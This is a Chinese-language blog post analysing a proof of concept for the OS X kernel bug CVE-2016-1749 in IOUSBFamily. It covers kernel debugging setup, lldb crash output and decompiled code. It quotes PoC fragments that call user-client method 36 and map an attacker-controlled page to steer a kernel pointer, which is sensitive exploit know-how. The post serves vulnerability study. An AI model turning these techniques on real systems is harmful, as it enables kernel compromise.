CVE-2016-1749内核代码执行POC分析

0x00 摘要

OS X系统的10.11.4的系统补丁中修复了一个在内核中可以导致代码执行的漏洞,漏洞形成的原因是缺少了必要的边界值检测。

  • 最初的漏洞报告
  • POC下载
    本文记录了对POC的简单的调试和分析,对该漏洞有一个初步的认识,为后续的研究做好准备工作。

0x01 准备工作

因为这个漏洞是一个内核级的漏洞,所以需要搭建一个内核调试的环境。

1.1 内核调试环境的搭建

内核调试环境的搭建并不复杂,但是需要一台装有OS X的虚拟机,只需要下载官方的Kernel Debug Kit,安装并按照ReadMe.html中的步骤操作即可。
一般情况下默认路径是/Library/Developer/KDKs/KDK_10.11.3_15D13b.kdk/ReadMe.html

KDK下载地址
也可以参考这篇文章OSX内核调试技巧分享

1.2 利用lldb调试kernel core dump

在默认情况下内核崩溃后会产生panic文件,记录这一次内核崩溃的最后调用栈,用来分析崩溃的原因,但是panic文件的信息量有限,而进行一次内核的动态调试步骤又比较复杂,这个时候对kernel core dump的分析是一种折中的方式。但是OS X系统生成的kernle core不能在本机保存需要设置一个服务器,在系统内核崩溃时会将core文件发送到服务器。

设置方法可以参考苹果给出的官方文档,这里简单的叙述一下。在KDK的README文件中也有设置的步骤。

1.2.1 设置服务器(物理机)

  • 创建core dump的文件夹
1
2
3
4
server$ sudo mkdir /PanicDumps
Password:********
server$ sudo chown root:wheel /PanicDumps
server$ sudo chmod 1777 /PanicDumps
  • 启用core dump服务

    1
    2
    server$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.kdumpd.plist
    Password:********
  • 确认服务已经开启

    1
    2
    3
    server$ sudo launchctl list | grep kdump
    Password:********
    - 0 com.apple.kdumpd

1.2.2 设置客户端(虚拟机)

1
2
client$ sudo nvram boot-args="debug=0xd44 _panicd_ip=10.0.40.2"
Password: ********

这里的这个ip需要填物理的ip。且虚拟机可以通过该ip和物理机简历连接。

1.2.3 使用lldb调试kernel core

当系统内核崩溃后,在物理机的/PanicDumps路径中会出现xnu-XXX.gz的文件。是通过zip压缩的。

1
gunzip xnu-XXX.gz

通过指令解压后利用lldb查看core文件

1
sudo lldb -c /PanicDumps/core-xnu-3248.30.4-172.16.9.186-ca2fd00a

注意需要使用sudo,否则会报错。这个时候就可以看到core dump的情况进行分析了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
➜  ~ sudo lldb -c /PanicDumps/core-xnu-3248.30.4-172.16.9.186-ca2fd00a                               
(lldb) target create --core "/PanicDumps/core-xnu-3248.30.4-172.16.9.186-ca2fd00a"
Kernel UUID: DB8A107C-3A4F-31AB-8BCE-EB77F80B1CD7
Load Address: 0xffffff8010c00000
warning: 'kernel' contains a debug script. To run this script in this debug session:

command script import "/Library/Developer/KDKs/KDK_10.11.3_15D13b.kdk/System/Library/Kernels/kernel.development.dSYM/Contents/Resources/DWARF/../Python/kernel.py"

To run all discovered debug scripts in this session:

settings set target.load-script-from-symbol-file true

Kernel slid 0x10a00000 in memory.
Loaded kernel file /Library/Developer/KDKs/KDK_10.11.3_15D13b.kdk/System/Library/Kernels/kernel.development
Loading 97 kext modules warning: Can't find binary/dSYM for com.apple.kec.corecrypto (D6E082B5-93B2-3FF0-AB4B-4AA310173CE8)
.....warning: Can't find binary/dSYM for com.apple.driver.AppleACPIPlatform (3BE4E926-E063-3BBD-BE05-F6F97358C7A4)

....warning: Can't find binary/dSYM for com.apple.driver.DiskImages (97177A33-27BD-34A9-9B42-1173BE480BCD)
.warning: Can't find binary/dSYM for com.apple.driver.AppleCredentialManager (E3817462-FFEE-38AE-839B-79932133E7EF)

.warning: Can't find binary/dSYM for com.apple.driver.AppleMobileFileIntegrity (09620E73-2D73-3F62-9E5D-4B9DC2147F70)
.warning: Can't find binary/dSYM for com.apple.driver.AppleKeyStore (7AF14D78-EEBE-3474-B605-66CC957F2FE5)

...warning: Can't find binary/dSYM for com.apple.security.sandbox (F3202072-6ED5-33BF-97B0-AD49F500ABF6)
...warning: Can't find binary/dSYM for com.apple.driver.AppleAPIC (46368557-CAF1-3FAC-AF62-A03389987023)

.warning: Can't find binary/dSYM for com.apple.driver.AppleSMBIOS (558EB25D-8E3F-3429-B2DC-ADAE2EF0F7C3)
...warning: Can't find binary/dSYM for com.apple.driver.AppleACPIButtons (767834A6-B80F-36ED-9C0A-A6179A144279)

....warning: Can't find binary/dSYM for com.apple.driver.AppleUSBHostMergeProperties (D338A98F-2B8F-3411-BD87-BD00F620A223)
.......warning: Can't find binary/dSYM for com.apple.driver.AppleFileSystemDriver (998B4AF6-388A-304E-9627-EBB1237252F8)

...warning: Can't find binary/dSYM for com.apple.driver.Intel82574L (92C2095F-4CB1-36CE-ACF9-518F4610AE68)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBXHCI (38F68C79-811D-3AA2-B8D4-0D444FF4DB4B)

.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBXHCIPCI (7AC984CE-8AAA-3B8D-92E3-24BE18DF3DEC)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBEHCI (FA569D7A-D439-32EB-9B57-0A5D5227AC12)

.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBUHCI (55F5C3FB-6419-35F2-B9A3-836F696C3DBC)
.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBUHCIPCI (4C589408-0FA4-35A0-B8BF-A65EEDFB971F)

.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBEHCIPCI (C2569C25-E38A-3AC0-8502-594A75E63C76)
..warning: Can't find binary/dSYM for com.apple.driver.AppleAHCIPort (20356FAA-8898-36F8-BAAD-8961AFC23E9B)

.warning: Can't find binary/dSYM for com.apple.iokit.IOAHCIBlockStorage (0A852267-0F62-363B-86D7-C2B02972EE48)
..warning: Can't find binary/dSYM for com.apple.iokit.IOAHCISerialATAPI (D1CA586E-89CA-36BE-A293-CE0BBD19367D)

.warning: Can't find binary/dSYM for com.apple.driver.AppleXsanScheme (00C3E9DA-99B0-3518-8B4B-38114EE146A8)
......warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBHostCompositeDevice (3E1A0840-033C-321B-B5ED-7BEA6996B1E0)

.warning: Can't find binary/dSYM for com.apple.driver.usb.AppleUSBHub (271D9C2E-FF74-3503-958E-24C554595575)
.warning: Can't find binary/dSYM for com.apple.driver.usb.IOUSBHostHIDDevice (65F7A241-C50F-3370-9CE8-54566F0130DE)

..warning: Can't find binary/dSYM for com.apple.driver.AppleSMC (535447F9-30E0-39BA-A2B8-1A027DED5D53)
.warning: Can't find binary/dSYM for com.apple.vecLib.kext (E62681B7-BE2F-3F89-8065-91C5C2876EBA)

..warning: Can't find binary/dSYM for com.apple.iokit.IOHDAFamily (3BF83381-C3DA-3EC4-BBE6-F2024D3EACC7)
..warning: Can't find binary/dSYM for com.apple.driver.AppleHDAController (AC7816C9-DEF7-310A-B059-5852BF07A843)

.warning: Can't find binary/dSYM for com.apple.iokit.IOBluetoothFamily (022A55C7-EF37-3BE7-AC09-0436CDEFCE95)
.warning: Can't find binary/dSYM for com.apple.iokit.IOBluetoothHostControllerUSBTransport (67B0326E-F86A-3AEF-BE41-99958414F094)

.warning: Can't find binary/dSYM for com.vmware.kext.VMwareGfx (00FD0C5F-0A29-3656-8718-EBF372456B8E)
....warning: Can't find binary/dSYM for com.apple.driver.AppleHV (8E08FFC5-4E33-3D66-BB9B-2EC170B650E6)

.....warning: Can't find binary/dSYM for com.apple.iokit.IOBluetoothSerialManager (A6A7E1A3-4063-3C42-9984-67E3BB1A0191)
.warning: Can't find binary/dSYM for com.apple.iokit.IOSurface (5D984125-CEC9-39B6-BA6E-6C6C6004552C)

.warning: Can't find binary/dSYM for com.apple.iokit.IOUserEthernet (6D2530ED-C0BC-3F64-B2FC-4490CC30BC06)
.warning: Can't find binary/dSYM for com.apple.driver.pmtelemetry (C3F2C16A-A407-389C-AD2B-B8582742FE5E)

.warning: Can't find binary/dSYM for com.apple.driver.IOPlatformPluginFamily (EC53D03F-6CD9-383A-8160-33E02C141EAA)
.warning: Can't find binary/dSYM for com.apple.driver.IOPlatformPluginLegacy (15BBAC18-907A-394F-BA5B-CC40E055BA13)

.warning: Can't find binary/dSYM for com.apple.driver.ACPI_SMC_PlatformPlugin (04F77CAB-EA07-362C-B7A2-0167D56D55BC)
..warning: Can't find binary/dSYM for com.apple.driver.AppleSMBusController (04C9295B-23E8-388B-8BB6-07CC377CADD2)

....warning: Can't find binary/dSYM for com.apple.driver.DspFuncLib (F1E07A68-221D-3ED3-A2BA-1735E0582F3F)
.warning: Can't find binary/dSYM for com.apple.driver.AppleHDA (344D4A99-D22C-3E43-9699-82C1B7044CE2)

.warning: Can't find binary/dSYM for com.apple.driver.AppleHDAHardwareConfigDriver (EDCBE684-9F4F-349A-9E17-D1704C26BD84)
.warning: Can't find binary/dSYM for com.apple.driver.AppleOSXWatchdog (0CE80268-ACDD-3FCC-8370-8A041468F898)

....warning: Can't find binary/dSYM for com.vmware.kext.vmmemctl (C2161D7F-F967-3406-A377-CD7D11EDE95A)
.warning: Can't find binary/dSYM for com.vmware.kext.vmhgfs (22192699-95BC-3ACC-96B1-023E6C6073AA)

.. done.
Core file '/PanicDumps/core-xnu-3248.30.4-172.16.9.186-ca2fd00a' (x86_64) was loaded.
(lldb) bt
IOUSBFamily was compiled with optimization - stepping may behave oddly; variables may not be available.
* thread #1: tid = 0x0000, 0xffffff7f91b11581 IOUSBFamily`AppleUSBPipe::Abort(this=<unavailable>, streamID=<unavailable>) + 153 at AppleUSBPipe.cpp:1181, stop reason = signal SIGSTOP
* frame #0: 0xffffff7f91b11581 IOUSBFamily`AppleUSBPipe::Abort(this=<unavailable>, streamID=<unavailable>) + 153 at AppleUSBPipe.cpp:1181 [opt]
frame #1: 0xffffff7f91b01197 IOUSBFamily`IOUSBInterfaceUserClient::AbortStreamsPipe(this=<unavailable>, pipeRef=<unavailable>, streamID=4042322160) + 305 at IOUSBInterfaceUserClient.cpp:3656 [opt]
frame #2: 0xffffff7f91afbcf9 IOUSBFamily`IOUSBInterfaceUserClient::_AbortStreamsPipe(target=<unavailable>, reference=<unavailable>, arguments=<unavailable>) + 241 at IOUSBInterfaceUserClient.cpp:3636 [opt]
frame #3: 0xffffff80112b9c17 kernel.development`::is_io_connect_method(connection=0xffffff801a719c00, selector=36, scalar_input=<unavailable>, scalar_inputCnt=<unavailable>, inband_input=<unavailable>, inband_inputCnt=0, ool_input=<unavailable>, ool_input_size=<unavailable>, inband_output=<unavailable>, inband_outputCnt=<unavailable>, scalar_output=<unavailable>, scalar_outputCnt=<unavailable>, ool_output=<unavailable>, ool_output_size=<unavailable>) + 487 at IOUserClient.cpp:3720 [opt]
frame #4: 0xffffff8010d5cfc0 kernel.development`_Xio_connect_method(InHeadP=<unavailable>, OutHeadP=0xffffff80195c55d0) + 384 at device_server.c:8255 [opt]
frame #5: 0xffffff8010c88ee3 kernel.development`ipc_kobject_server(request=0xffffff801c7f3be0) + 259 at ipc_kobject.c:340 [opt]
frame #6: 0xffffff8010c64e13 kernel.development`ipc_kmsg_send(kmsg=<unavailable>, option=<unavailable>, send_timeout=0) + 195 at ipc_kmsg.c:1441 [opt]
frame #7: 0xffffff8010c7b435 kernel.development`mach_msg_overwrite_trap(args=<unavailable>) + 197 at mach_msg.c:470 [opt]
frame #8: 0xffffff8010d83850 kernel.development`mach_call_munger64(state=0xffffff801b6471e0) + 480 at bsd_i386.c:560 [opt]
frame #9: 0xffffff8010db9516 kernel.development`hndl_mach_scall64 + 22
(lldb)

可以清楚的看到系统崩溃时的调用栈了。这个栈就是POC程序在虚拟机中执行后返回的结果。

0x02 POC崩溃现场分析

通过对POC执行后崩溃的现场,可以得知具体的崩溃原因,已经函数的调用顺序,这样在做动态分析和静态分析的时候才能有的放矢。

2.1 调用栈分析

1
2
3
4
5
6
7
8
9
10
* frame #0: 0xffffff7f91b11581 IOUSBFamily`AppleUSBPipe::Abort(this=<unavailable>, streamID=<unavailable>) + 153 at AppleUSBPipe.cpp:1181 [opt]
frame #1: 0xffffff7f91b01197 IOUSBFamily`IOUSBInterfaceUserClient::AbortStreamsPipe(this=<unavailable>, pipeRef=<unavailable>, streamID=4042322160) + 305 at IOUSBInterfaceUserClient.cpp:3656 [opt]
frame #2: 0xffffff7f91afbcf9 IOUSBFamily`IOUSBInterfaceUserClient::_AbortStreamsPipe(target=<unavailable>, reference=<unavailable>, arguments=<unavailable>) + 241 at IOUSBInterfaceUserClient.cpp:3636 [opt]
frame #3: 0xffffff80112b9c17 kernel.development`::is_io_connect_method(connection=0xffffff801a719c00, selector=36, scalar_input=<unavailable>, scalar_inputCnt=<unavailable>, inband_input=<unavailable>, inband_inputCnt=0, ool_input=<unavailable>, ool_input_size=<unavailable>, inband_output=<unavailable>, inband_outputCnt=<unavailable>, scalar_output=<unavailable>, scalar_outputCnt=<unavailable>, ool_output=<unavailable>, ool_output_size=<unavailable>) + 487 at IOUserClient.cpp:3720 [opt]
frame #4: 0xffffff8010d5cfc0 kernel.development`_Xio_connect_method(InHeadP=<unavailable>, OutHeadP=0xffffff80195c55d0) + 384 at device_server.c:8255 [opt]
frame #5: 0xffffff8010c88ee3 kernel.development`ipc_kobject_server(request=0xffffff801c7f3be0) + 259 at ipc_kobject.c:340 [opt]
frame #6: 0xffffff8010c64e13 kernel.development`ipc_kmsg_send(kmsg=<unavailable>, option=<unavailable>, send_timeout=0) + 195 at ipc_kmsg.c:1441 [opt]
frame #7: 0xffffff8010c7b435 kernel.development`mach_msg_overwrite_trap(args=<unavailable>) + 197 at mach_msg.c:470 [opt]
frame #8: 0xffffff8010d83850 kernel.development`mach_call_munger64(state=0xffffff801b6471e0) + 480 at bsd_i386.c:560 [opt]
frame #9: 0xffffff8010db9516 kernel.development`hndl_mach_scall64 + 22

结合frame #3的信息,以及poc中的相关代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
//...
err = IOConnectCallMethod(
conn,
36,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
//...

  • 是在应用层程序调用IOUSBFamily的36号方法,_AbortStreamsPipe时触发的漏洞。
  • _AbortStreamsPipe又调用了IOUSBInterfaceUserClient::AbortStreamsPipe函数。
  • IOUSBInterfaceUserClient::AbortStreamsPipe函数最后调用了AppleUSBPipe::Abort并触发了函数的崩溃。

2.2 崩溃原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  	0xffffff7f91b1155f <+119>: callq  0xffffff80112ecc50        ; kprintf at pe_kprintf.c:105
0xffffff7f91b11564 <+124>: testl %r14d, %r14d
0xffffff7f91b11567 <+127>: je 0xffffff7f91b115a8 ; <+192> at AppleUSBPipe.cpp:1175
0xffffff7f91b11569 <+129>: movl %r14d, %eax
0xffffff7f91b1156c <+132>: movq 0x88(%rbx), %rcx
0xffffff7f91b11573 <+139>: movq (%rcx,%rax,8), %rdi
0xffffff7f91b11577 <+143>: movl $0xe00002f0, %eax
0xffffff7f91b1157c <+148>: testq %rdi, %rdi
0xffffff7f91b1157f <+151>: je 0xffffff7f91b115c9 ; <+225> at AppleUSBPipe.cpp:1187
-> 0xffffff7f91b11581 <+153>: movq (%rdi), %rax
0xffffff7f91b11584 <+156>: xorl %esi, %esi
0xffffff7f91b11586 <+158>: movl $0xe00002eb, %edx
0xffffff7f91b1158b <+163>: xorl %ecx, %ecx
0xffffff7f91b1158d <+165>: callq *0x178(%rax)
0xffffff7f91b11593 <+171>: cmpl $0xe00002d6, %eax
0xffffff7f91b11598 <+176>: je 0xffffff7f91b115b6 ; <+206> at AppleUSBPipe.cpp:1175
0xffffff7f91b1159a <+178>: cmpl $0xe0005001, %eax
0xffffff7f91b1159f <+183>: jne 0xffffff7f91b115bd ; <+213> at AppleUSBPipe.cpp:1175
0xffffff7f91b115a1 <+185>: movl $0xe000405d, %eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(lldb) register read
General Purpose Registers:
rax = 0x00000000e00002f0
rbx = 0xffffff801c1a6100
rcx = 0x0000000000000000
rdx = 0xffffff801779f6e0
rdi = 0x4141414141414141
rsi = 0x00000000f0f0f0f0
rbp = 0xffffff887b613b20
rsp = 0xffffff887b613ae0
r8 = 0x0000000000000000
r9 = 0x0000000000000000
r10 = 0xffffff7f91b408a1 ""
r11 = 0x0000000000000000
r12 = 0x0000000000000000
r13 = 0x0000000000000000
r14 = 0x00000000f0f0f0f0
r15 = 0x00000000f0f0f0f0
rip = 0xffffff7f91b11581 IOUSBFamily`AppleUSBPipe::Abort(unsigned int) + 153 at AppleUSBPipe.cpp:1181
rflags = 0x0000000000010206
cs = 0x0000000000000008
fs = 0x0000000000000000
gs = 0x0000000000000000

崩溃的指令是

1
->  0xffffff7f91b11581 <+153>: movq   (%rdi), %rax

1
0x000000000002c581         mov        rax, qword [ds:rdi]

对AT&T格式汇编不熟悉的可以看第二行的汇编代码,他们是一样的。
$rdi的值为0x4141414141414141,而该指令试图读取地址为0x4141414141414141出的值并复制给$rax,所以就崩溃了。

0x03 IOUSBFamily代码分析

通过结合动态分析与静态分析,给出分析后的伪代码。分析过程略过,都是体力活。

3.1 IOUSBInterfaceUserClient::_AbortStreamsPipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall IOUSBInterfaceUserClient::_AbortStreamsPipe(__int64 a1, __int64 a2, __int64 a3)
{
__int64 _a3; // r14@1
int v4; // er15@2
int v5; // er12@2
__int64 v6; // rax@2
__int64 v7; // r13@2
__int64 v8; // rax@2
char v9; // cl@5
int result; // eax@5
__int64 v11; // [sp+10h] [bp-40h]@2
int v12; // [sp+1Ch] [bp-34h]@2
__int64 v13; // [sp+20h] [bp-30h]@2

_a3 = a3;
if ( *(_BYTE *)(a1 + 436) & 2 )
{
clock_get_system_microtime(&v13, &v12);
v4 = *(_DWORD *)(a1 + 436);
v11 = v13;
v5 = v12;
LODWORD(v6) = (*(int (__fastcall **)(__int64, _QWORD))(*(_QWORD *)a1 + 904LL))(a1, 0LL);
v7 = v6;
LODWORD(v8) = (*(int (__fastcall **)(__int64, _QWORD))(*(_QWORD *)a1 + 952LL))(a1, 0LL);
if ( v4 & 0x10000 )
{
a2 = v11;
kprintf(&"%06lu.%06u %s@%s: %s::%s: \n", v11, (unsigned int)v5, v7, v8, "IOUSBInterfaceUserClient");
}
else
{
a2 = v11;
IOLog(&"%06lu.%06u %s@%s: %s::%s: \n", v11, (unsigned int)v5, v7, v8, "IOUSBInterfaceUserClient");
}
}
v9 = (*(int (__fastcall **)(__int64, __int64))(*(_QWORD *)a1 + 2488LL))(a1, a2);
result = -536870174;
if ( v9 ) // this->AbortStreamsPipe(this,0x00000000,0xf0f0f0f0)
result = (*(int (__fastcall **)(__int64, _QWORD, _QWORD))(*(_QWORD *)a1
+ 0xB58LL))(// call abortstreamspipe
// get function from this+0xb58
a1, // this
**(_BYTE **)(_a3 + 0x20), // (lldb) x $rcx
// 0xffffff800a444ab0: 00 00 00 00 00 00 00 00 f0 f0 f0 f0 00 00 00 00 ........????....
// 0xffffff800a444ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*(_DWORD *)(*(_QWORD *)(_a3 + 0x20) + 8LL));// (lldb) x $rcx+0x8
// 0xffffff800a444ab8: f0 f0 f0 f0 00 00 00 00 00 00 00 00 00 00 00 00 ????............
// 0xffffff800a444ac8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//
return result;
}

这个函数的逻辑非常简单,就是根据收到的参数处理后调用了IOUSBInterfaceUserClient::AbortStreamsPipe函数,每一个参数已经在注释中体现了。

3.2IOUSBInterfaceUserClient::AbortStreamsPipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __fastcall IOUSBInterfaceUserClient::AbortStreamsPipe(IOUSBInterfaceUserClient *this, unsigned __int8 a2, unsigned int a3)
{
unsigned int steamID; // er15@1
unsigned __int8 _a2; // r12@1
int v5; // er15@2
__int64 v6; // r12@2
int v7; // er13@2
__int64 v8; // rax@2
__int64 v9; // r14@2
__int64 v10; // rax@2
unsigned int ret; // er14@6
OSMetaClassBase *_p_pipe_obj; // rax@8
const OSMetaClass *v13; // rdx@8
OSMetaClassBase *__p_pipe_obj; // rbx@8
_QWORD *_p_usb_pipe; // rax@9
int _ret; // eax@10
unsigned int v18; // [sp+18h] [bp-38h]@2
int v19; // [sp+1Ch] [bp-34h]@2
__int64 v20; // [sp+20h] [bp-30h]@2

steamID = a3; // 0xf0f0f0f0
_a2 = a2; // 0x00000000
if ( *((_BYTE *)this + 0x1B4) & 2 )
{
v18 = a3;
clock_get_system_microtime(&v20, &v19);
v5 = *((_DWORD *)this + 0x6D);
v6 = v20;
v7 = v19;
LODWORD(v8) = (*(int (__fastcall **)(IOUSBInterfaceUserClient *, _QWORD))(*(_QWORD *)this + 0x388LL))(this, 0LL);
v9 = v8;
LODWORD(v10) = (*(int (__fastcall **)(IOUSBInterfaceUserClient *, _QWORD))(*(_QWORD *)this + 0x3B8LL))(this, 0LL);
if ( v5 & 0x10000 )
kprintf(&"%06lu.%06u %s@%s: %s::%s: \n", v6, (unsigned int)v7, v9, v10, "IOUSBInterfaceUserClient");
else
IOLog(&"%06lu.%06u %s@%s: %s::%s: \n", v6, (unsigned int)v7, v9, v10, "IOUSBInterfaceUserClient");
steamID = v18;
_a2 = a2;
}
ret = 0xE00002D9;
if ( *((_QWORD *)this + 0x37) )
{
if ( !(unsigned __int8)IOService::isInactive(this) )
{
LODWORD(_p_pipe_obj) = (*(int (__fastcall **)(IOUSBInterfaceUserClient *, _QWORD))(*(_QWORD *)this + 0xA68LL))(
this,
_a2); // IOUSBInterfaceUserClient::GetPipeObj
__p_pipe_obj = _p_pipe_obj;
ret = 0xE0004061;
if ( _p_pipe_obj )
{
_p_usb_pipe = (_QWORD *)OSMetaClassBase::safeMetaCast(
_p_pipe_obj,
(const OSMetaClassBase *)IOUSBPipeV2::metaClass,
v13);
if ( _p_usb_pipe )
_ret = (*(int (__fastcall **)(_QWORD *, _QWORD))(*_p_usb_pipe + 0x278LL))(_p_usb_pipe, steamID);// AppleUSBPipe::Abort(UInt32 streamID)
else
_ret = (*(int (__fastcall **)(OSMetaClassBase *, _QWORD))(*(_QWORD *)__p_pipe_obj + 0x128LL))(
__p_pipe_obj,
IOUSBPipeV2::metaClass);
ret = _ret;
(*(void (__fastcall **)(OSMetaClassBase *))(*(_QWORD *)__p_pipe_obj + 0x28LL))(__p_pipe_obj);
}
}
}
return ret;
}

调用AppleUSBPipe::Abort

3.3 AppleUSBPipe::Abort

这个函数看汇编代码更容易理解一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
0x000000000002c569 mov eax, r14d
0x000000000002c56c mov rcx, qword [ds:rbx+0x88]
0x000000000002c573 mov rdi, qword [ds:rcx+rax*8]
0x000000000002c577 mov eax, 0xe00002f0
0x000000000002c57c test rdi, rdi
0x000000000002c57f je 0x2c5c9

->0x000000000002c581 mov rax, qword [ds:rdi]
0x000000000002c584 xor esi, esi
0x000000000002c586 mov edx, 0xe00002eb
0x000000000002c58b xor ecx, ecx
0x000000000002c58d call qword [ds:rax+0x178]
0x000000000002c593 cmp eax, 0xe00002d6
0x000000000002c598 je 0x2c5b6
...

各个寄存器的值如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(lldb) register read
General Purpose Registers:
rax = 0x00000000e00002f0
rbx = 0xffffff801c1a6100
rcx = 0x0000000000000000
rdx = 0xffffff801779f6e0
rdi = 0x4141414141414141
rsi = 0x00000000f0f0f0f0
rbp = 0xffffff887b613b20
rsp = 0xffffff887b613ae0
r8 = 0x0000000000000000
r9 = 0x0000000000000000
r10 = 0xffffff7f91b408a1 ""
r11 = 0x0000000000000000
r12 = 0x0000000000000000
r13 = 0x0000000000000000
r14 = 0x00000000f0f0f0f0
r15 = 0x00000000f0f0f0f0
rip = 0xffffff7f91b11581 IOUSBFamily`AppleUSBPipe::Abort(unsigned int) + 153 at AppleUSBPipe.cpp:1181
rflags = 0x0000000000010206
cs = 0x0000000000000008
fs = 0x0000000000000000
gs = 0x0000000000000000

当执行到这里时,因为rax是应用层传入的参数0xf0f0f0f0,而rcx的值是0x0000000000000000,所以根据rax的不同,rdi的值会是一个从0x0000000000000000地址开始偏移量是IOUSBInterfaceUserClient::AbortStreamsPipe函数中的SteamID,也就是POC中的0xf0f0f0f0乘以8LL之后获得的所得地址所指向的内存处的值。

因为0xf0f0f0f0是一个POC中可控值,所以0x000000000002c573 mov rdi, qword [ds:rcx+rax*8]是一个从0x0000000000000000地址开始任意偏移量的任意读取。
因为0xf0f0f0f0*0x8=0x787878780,结合POC中代码

1
2
3
4
5
6
7
8
9
10
11
void map_payload(uint64_t target_rip) {
uint64_t*** obj_ptr_ptr = (void*)0x0000000787878780;
void* request = (void*)0x0000000787878000;
void* page = mmap(request, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (request != page) {
printf("MAP_FIXED didn't give us the right page\n");
exit(EXIT_FAILURE);
}

memset((void*)page, 'A', 0x1000);
}

从地址0x0000000787878000开始一直到0x0000000787878000+0x1000处所有的值都为0x41。
所以rdi寄存器的值为0x4141414141414141,从而导致了POC执行时出现崩溃。

至此POC分析完毕。

3.4 小结

调试poc花了一些时间,陷入了各种代码实现的分析,和做开发时一样,调bug时需要注重崩溃的现场,分析的过程中经常埋头分析了一大通之后发现得到的信息在崩溃现场已经有了,甚至还有一些分析过程中想不通的问题,在崩溃的现场也已经有线索了。

reference

1.OS X Kernel code execution due to lack of bounds checking in AppleUSBPipe::Abort

PS

这是我的学习分享博客http://turingh.github.io/

欢迎大家来探讨,不足之处还请指正。

文章目录
  1. 1. 0x00 摘要
  2. 2. 0x01 准备工作
    1. 2.1. 1.1 内核调试环境的搭建
    2. 2.2. 1.2 利用lldb调试kernel core dump
      1. 2.2.1. 1.2.1 设置服务器(物理机)
      2. 2.2.2. 1.2.2 设置客户端(虚拟机)
      3. 2.2.3. 1.2.3 使用lldb调试kernel core
  3. 3. 0x02 POC崩溃现场分析
    1. 3.1. 2.1 调用栈分析
    2. 3.2. 2.2 崩溃原因
  4. 4. 0x03 IOUSBFamily代码分析
    1. 4.1. 3.1 IOUSBInterfaceUserClient::_AbortStreamsPipe
    2. 4.2. 3.2IOUSBInterfaceUserClient::AbortStreamsPipe
    3. 4.3. 3.3 AppleUSBPipe::Abort
  5. 5. 3.4 小结
  6. 6. reference
  7. 7. PS
,